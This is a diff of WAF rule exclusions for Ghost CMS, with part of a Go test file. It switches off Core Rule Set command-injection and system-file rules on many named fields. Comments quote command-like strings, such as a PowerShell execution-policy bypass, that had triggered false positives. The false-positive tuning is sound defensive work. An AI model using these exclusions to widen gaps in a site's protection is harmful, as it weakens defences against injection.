+# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
+# utm_term.
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
+    "id:900367,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
+    ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
+    ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
+    ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
+    ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
+    ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
+    ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
+    ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
+
+# pathname, the page the analytics show, skips three rules on
+# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
+#   930120: pathname=/tag/proc/
+#   932120: pathname=/python3-and-powershell/
+#   932260: pathname=/tag/python3/
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
+    "id:900385,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
+    ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
+    ctl:ruleRemoveTargetById=932260;ARGS:pathname"
+
+# email_segment, the members a post is sent to as a newsletter, skips 932120
+# on the Admin API's posts: email_segment=label:powershell-users.
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
+    "id:900368,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
+
+# query, a search for an account in ActivityPub, skips the eight rules that
+# 900353 lists: query=python3, query=@powershell@example.com.
+SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
+    "id:900369,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:query,\
+    ctl:ruleRemoveTargetById=932120;ARGS:query,\
+    ctl:ruleRemoveTargetById=932125;ARGS:query,\
+    ctl:ruleRemoveTargetById=932230;ARGS:query,\
+    ctl:ruleRemoveTargetById=932235;ARGS:query,\
+    ctl:ruleRemoveTargetById=932250;ARGS:query,\
+    ctl:ruleRemoveTargetById=932260;ARGS:query,\
+    ctl:ruleRemoveTargetById=932380;ARGS:query"
+
+# The fields a person types plain text into skip eight rules on the Admin API,
+# which refused words that name commands and files:
 #   930120: the title "Using python3 and ls -la to tidy .htaccess files"
 #   932120: the page's slug about-python3-powershell-htaccess
 #   932125, 932230, 932250: the tag "Linux & ls -la"
+#   932235: the title "powershell & python3"
 #   932260: the tag python3
 #   932380: the newsletter "Shell tips weekly: python3 & powershell"
 # These fields hold plain text:
@@ -64,11 +127,12 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
         ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
         ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
         ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
+        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
         ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
         ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
 
-# name, the name a member saves at /members/api/, skips the same seven rules.
+# name, the name a member saves at /members/api/, skips the same eight rules.
 SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
     "id:900359,phase:1,pass,nolog,chain"
     SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
@@ -76,10 +140,99 @@ SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
         ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
         ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
         ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
+        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.name$/,\
         ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
         ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
 
+# More fields of plain text skip the same eight rules on the Admin API, which
+# refused "python3 & powershell club", "Weekly ls -la and .htaccess tips" and
+# "powershell & python3 deal" in them:
+#   users.<n>.name, slug, bio, location and website, a staff user's profile
+#   setup.<n>.blogTitle and name, creating the first staff user
+#   invitation.<n>.name, accepting a staff invitation
+#   tiers.<n>.name, description and benefits
+#   offers.<n>.name, code, display_title and display_description
+#   recommendations.<n>.title, description and excerpt
+#   integrations.<n>.name and description, and webhooks.<n>.name
+#   posts.<n>.feature_image_alt and feature_image_caption, and the same fields
+#   of pages
+# Coraza matches a field's name in lower case, so blogTitle is blogtitle.
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
+    "id:900370,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
+        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
+        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
+        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
+        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
+        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/"
+
+# A member's comment, html at /members/api/comments/, skips the same eight
+# rules, which refused "I ran ls -la and fixed my .htaccess with python3". The
+# rules for scripts and HTML still refuse a <script> element, an event handler
+# and a javascript: link in it.
+SecRule REQUEST_FILENAME "@beginsWith /members/api/comments/" \
+    "id:900371,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.comments\.\d+\.html$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.comments\.\d+\.html$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.comments\.\d+\.html$/,\
+        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.comments\.\d+\.html$/,\
+        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.comments\.\d+\.html$/,\
+        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.comments\.\d+\.html$/,\
+        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.comments\.\d+\.html$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.comments\.\d+\.html$/,\
+        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.comments\.\d+\.html$/"
+
+# labels, which the admin gives the members imported from a CSV file at
+# /ghost/api/admin/members/upload/, skips the same eight rules, which refused
+# "python3 import" and "powershell & .htaccess".
+SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
+    "id:900372,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:labels "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:labels,\
+        ctl:ruleRemoveTargetById=932120;ARGS:labels,\
+        ctl:ruleRemoveTargetById=932125;ARGS:labels,\
+        ctl:ruleRemoveTargetById=932230;ARGS:labels,\
+        ctl:ruleRemoveTargetById=932235;ARGS:labels,\
+        ctl:ruleRemoveTargetById=932250;ARGS:labels,\
+        ctl:ruleRemoveTargetById=932260;ARGS:labels,\
+        ctl:ruleRemoveTargetById=932380;ARGS:labels"
+
+# In ActivityPub, a note's or a reply's text and the description of its image,
+# and an account's name, username and bio, skip the same eight rules. They
+# refused "Trying python3 & powershell", the image's description "A terminal
+# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
+# tips". Each field skips them on its own path:
+#   content and image.altText, posting a note at
+#   /.ghost/activitypub/v1/actions/note or a reply under
+#   /.ghost/activitypub/v1/actions/reply/
+#   name, username and bio, saving the account at /.ghost/activitypub/v1/account
+SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
+    "id:900373,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
+        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
+        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
+        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
+        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
+        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
+SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
+    "id:900374,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|username|bio)$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|username|bio)$/,\
+        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:name|username|bio)$/,\
+        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:name|username|bio)$/,\
+        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:name|username|bio)$/,\
+        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|username|bio)$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|username|bio)$/,\
+        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:name|username|bio)$/"
+
 # A member's email address skips 930120, 932120 and 932260, which refused
 # erin.htaccess@example.com, dave.powershell@example.com and
 # python3.dev@example.com. These fields hold it:
@@ -132,6 +285,63 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
         ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
 
+# The address of a staff invitation skips the same three rules. Each of these
+# fields skips them only on its own path:
+#   invites.<n>.email, inviting a staff user at /ghost/api/admin/invites/
+#   email in the query, checking an invitation at
+#   /ghost/api/admin/authentication/invitation/
+#   invitation.<n>.email, accepting it at the same path
+SecRule REQUEST_FILENAME "@streq /ghost/api/admin/invites/" \
+    "id:900375,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.invites\.\d+\.email$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invites\.\d+\.email$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invites\.\d+\.email$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invites\.\d+\.email$/"
+SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
+    "id:900376,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:email,\
+    ctl:ruleRemoveTargetById=932120;ARGS:email,\
+    ctl:ruleRemoveTargetById=932260;ARGS:email"
+SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
+    "id:900377,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.invitation\.\d+\.email$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invitation\.\d+\.email$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
+
+# In ActivityPub, an account's handle and its address skip 930120 and 932120.
+# They refused the handles @erin.htaccess@example.com and
+# @powershell@example.com, and the addresses
+# https://example.com/users/erin.htaccess and
+# https://example.com/users/powershell. A handle starts with an @, so 932260
+# does not refuse @python3.dev@example.com. The domain of the site's handle
+# skips the same three rules as an email address, which refused
+# erin.htaccess.example.com, powershell.example.com and python3.example.com.
+# Each of these fields skips them only on its own path:
+#   sourceHandle, an account that moves here, added at
+#   /.ghost/activitypub/v1/aliases
+#   actorUri, that account's address, when the admin removes it there
+#   targetHandle, the account this one moves to, at
+#   /.ghost/activitypub/v1/migration
+#   domain, saved at /.ghost/activitypub/v1/domain and checked at
+#   /.ghost/activitypub/v1/domain/validate
+SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
+    "id:900379,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
+SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
+    "id:900380,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
+SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
+    "id:900381,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
+
 # The articles skip these rules on the Admin API:
 #   930120: ls -la /var/www/html/.htaccess in a code block
 #   932120: powershell -ExecutionPolicy Bypass -File build.ps1
@@ -178,9 +388,10 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
 
 # Code injection, the HTML Ghost adds to the head and the foot of a page, and
 # the site's settings, which hold the site-wide code injection besides the
-# title and the description, skip the rules of plain text above and these:
+# title and the description, skip the eight rules that 900353 lists and these:
 #   921130, 941100, 941160: <meta name="google-site-verification" ...>
 #   941270: <link rel="preconnect" href="https://fonts.example.com">
+# 932235, one of the eight, refused the site's title "powershell & python3".
 # These fields hold it, and skip the rules anywhere on the Admin API:
 #   posts.<n>.codeinjection_head and _foot, and the same fields of pages
 #   settings.<n>.value, the value of a setting
@@ -194,6 +405,7 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
         ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
+        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
@@ -216,6 +428,23 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
     SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
         "ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
 
+# The canonical URL of a post or a page skips the two rules that url skips:
+#   930120: https://example.com/blog/.htaccess/
+#   932120: https://example.com/blog/powershell/
+# Each of these fields skips them only on its own path:
+#   posts.<n>.canonical_url, under /ghost/api/admin/posts/
+#   pages.<n>.canonical_url, under /ghost/api/admin/pages/
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
+    "id:900383,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
+    "id:900384,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
+
 # Saving a staff user's profile sends the field profile_image, whose name holds
 # .profile, a file the list of system files names (930120).
 SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
@@ -223,6 +452,36 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
     SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
         "ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
 
+# A tag's code injection, tags.<n>.codeinjection_head and _foot under
+# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
+# the code injection of posts. A javascript: link is still refused in it.
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
+    "id:900378,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=921130;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
+        ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
+        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
+        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
+        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
+        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
+        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
+        ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
+        ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
+        ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
+        ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
+
+# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
+# skips the two rules that url skips:
+#   930120: https://example.com/tag/.htaccess/
+#   932120: https://example.com/tag/powershell/
+SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
+    "id:900382,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
+
 # The passwords, which skip each rule that random passwords set off:
 #   password, signing in at /ghost/api/admin/session/
 #   setup.<n>.password, creating the first staff user

internal/coreruleset/ghost_test.go

@@ -28,6 +28,19 @@ const (
 	ghostUser          = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
 	ghostMember        = "/members/api/member/"
 	ghostMagicLink     = "/members/api/send-magic-link/"
+	ghostInvites       = "/ghost/api/admin/invites/"
+	ghostInvitation    = "/ghost/api/admin/authentication/invitation/"
+	ghostTiers         = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
+	ghostOffers        = "/ghost/api/admin/offers/"
+	ghostRecommended   = "/ghost/api/admin/recommendations/"
+	ghostTags          = "/ghost/api/admin/tags/"
+	ghostImport        = "/ghost/api/admin/members/upload/"
+	ghostComments      = "/members/api/comments/"
+	ghostNote          = "/.ghost/activitypub/v1/actions/note"
+	ghostAccount       = "/.ghost/activitypub/v1/account"
+	ghostAliases       = "/.ghost/activitypub/v1/aliases"
+	ghostMigration     = "/.ghost/activitypub/v1/migration"
+	ghostDomain        = "/.ghost/activitypub/v1/domain"
 )
 
 func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
@@ -64,7 +77,7 @@ func (f ghostField) with(t *testing.T, value string) string {
 	)
 }
 
-// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
+// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostTextFields = []ghostField{
@@ -116,8 +129,111 @@ var ghostTextFields = []ghostField{
 		`{"snippets":[{"name":"VALUE"}]}`,
 	},
 	{http.MethodPut, ghostMember, ghostMemberName},
+
+	// A staff user's profile, the first staff user, an invitation accepted.
+	{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
+	{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
+	{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
+	{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
+	{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
+	{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
+	{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
+	{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
+
+	// Tiers, offers, recommendations, integrations and webhooks.
+	{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
+	{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
+	{
+		http.MethodPut,
+		ghostTiers,
+		`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
+	},
+	{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
+	{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
+	{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
+	{
+		http.MethodPost,
+		ghostOffers,
+		`{"offers":[{"display_description":"VALUE"}]}`,
+	},
+	{
+		http.MethodPost,
+		ghostRecommended,
+		`{"recommendations":[{"title":"VALUE"}]}`,
+	},
+	{
+		http.MethodPost,
+		ghostRecommended,
+		`{"recommendations":[{"description":"VALUE"}]}`,
+	},
+	{
+		http.MethodPost,
+		ghostRecommended,
+		`{"recommendations":[{"excerpt":"VALUE"}]}`,
+	},
+	{
+		http.MethodPost,
+		"/ghost/api/admin/integrations/",
+		`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
+	},
+	{
+		http.MethodPost,
+		"/ghost/api/admin/webhooks/",
+		`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
+	},
+
+	// A feature image's alt text and caption.
+	{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
+	{
+		http.MethodPut,
+		ghostPost,
